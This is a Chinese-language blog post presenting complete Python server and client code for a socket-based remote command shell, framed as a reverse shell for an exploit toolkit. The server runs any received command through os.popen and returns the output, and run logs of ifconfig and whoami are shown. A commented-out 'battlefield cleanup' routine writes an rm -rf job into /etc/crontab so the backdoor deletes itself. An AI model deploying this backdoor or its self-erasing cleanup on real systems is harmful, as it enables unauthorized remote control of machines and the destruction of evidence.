使用Python socket实现反弹shell

前言

以前使用Python写POC，但是现在我更加喜欢使用python写开源脚本、工具。
想做一个大的项目，主要是分为两块：

• 信息收集
• exploit远程执行

解释

使用python的socket模块实现穿透，只是一个小小的思路 :)
可以这么理解，服务器端构建一个端口监听，测试系统去连接，并且发送shell命令

类似

类似于NetCat和LCX
只要敢想敢做，其实php脚本也可以做3389的转发呐～

给予

有兴趣的朋友可以和我一起交流，刚接触Py不久，想完美的运用到安全领域中去

功能

• 端口监听

端口监听主要就是在服务器端绑定制定的端口

• 清理后门

利用LINUX的定时计划任务添加一个一分钟后删除脚本的指令

• 执行命令（带回显）

使用OS模块让运行命令更加生动.....

运行

客户端

Client

服务器端

Server

使用

首先要在服务器端监听
rvn0xsy@rvn0xsy-pc:~/python$ python3.5 server.py
然后执行客户端
rvn0xsy@rvn0xsy-pc:~/python$ python3.5 client.py
接着就会反弹一个shell

rvn0xsy@rvn0xsy-pc:~/python$ python3.5 client.py 
OS Shell >ifconfig
Execute 127.0.0.1：ifconfig
Receive：ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.106  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::20c:29ff:fea4:d290  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a4:d2:90  txqueuelen 4096  (Ethernet)
        RX packets 89493  bytes 109238370 (104.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 62219  bytes 8207482 (7.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 210  bytes 15390 (15.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 210  bytes 15390 (15.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


OS Shell >whoami
Execute 127.0.0.1：whoami
Receive：rvn0xsy

OS Shell >

Shell

Open Source

首先我贴出服务器端的代码

#-*- coding: utf-8 -*-
from socket import *
import os
HOST=''
PORT=1122
BUFSIZ=1024
ADDR=(HOST, PORT)
sock=socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT=False
while not STOP_CHAT:
    tcpClientSock, addr=sock.accept()
    print('Listening.....')
    while True:
        try:
            data=tcpClientSock.recv(BUFSIZ)
        except:
            tcpClientSock.close()
            break
        if not data:
            break
        STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
        if STOP_CHAT:
            #打扫战场 运用linux定时计划任务一分钟后删除当前脚本文件
            #current_file_path =os.getcwd()+sys.argv[0]
            #os.system('echo */1　　*　　*　　*　　*　　rm -rf '+current_file_path+' >> /etc/crontab')
            #tell_hack = 'Will help you clean war...'
            #tcpClientSock.sendall(tell_hack.encode('utf8'))
            break
        ME = os.popen(data.decode('utf8'))
        os_result = ME.read()
        print(os_result)
        tcpClientSock.sendall(os_result.encode('utf8'))
tcpClientSock.close()
sock.close()

客户端

#-*- coding: utf-8 -*-
import os,sys
from socket import *
class TcpClient:
    HOST='127.0.0.1'
    PORT=1122
    BUFSIZ=2048
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)
        while True:
            data=input('OS Shell >')
            if not data:
                break
            self.client.send(data.encode('utf8'))
            print('Execute %s：%s' %(self.HOST,data))
            if data.upper()=="QUIT":
                break
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('Receive：%s' %(data.decode('utf8')))
if __name__ == '__main__':
    client=TcpClient()

支持

本文是我的原创文章，未经授权转载属于侵权！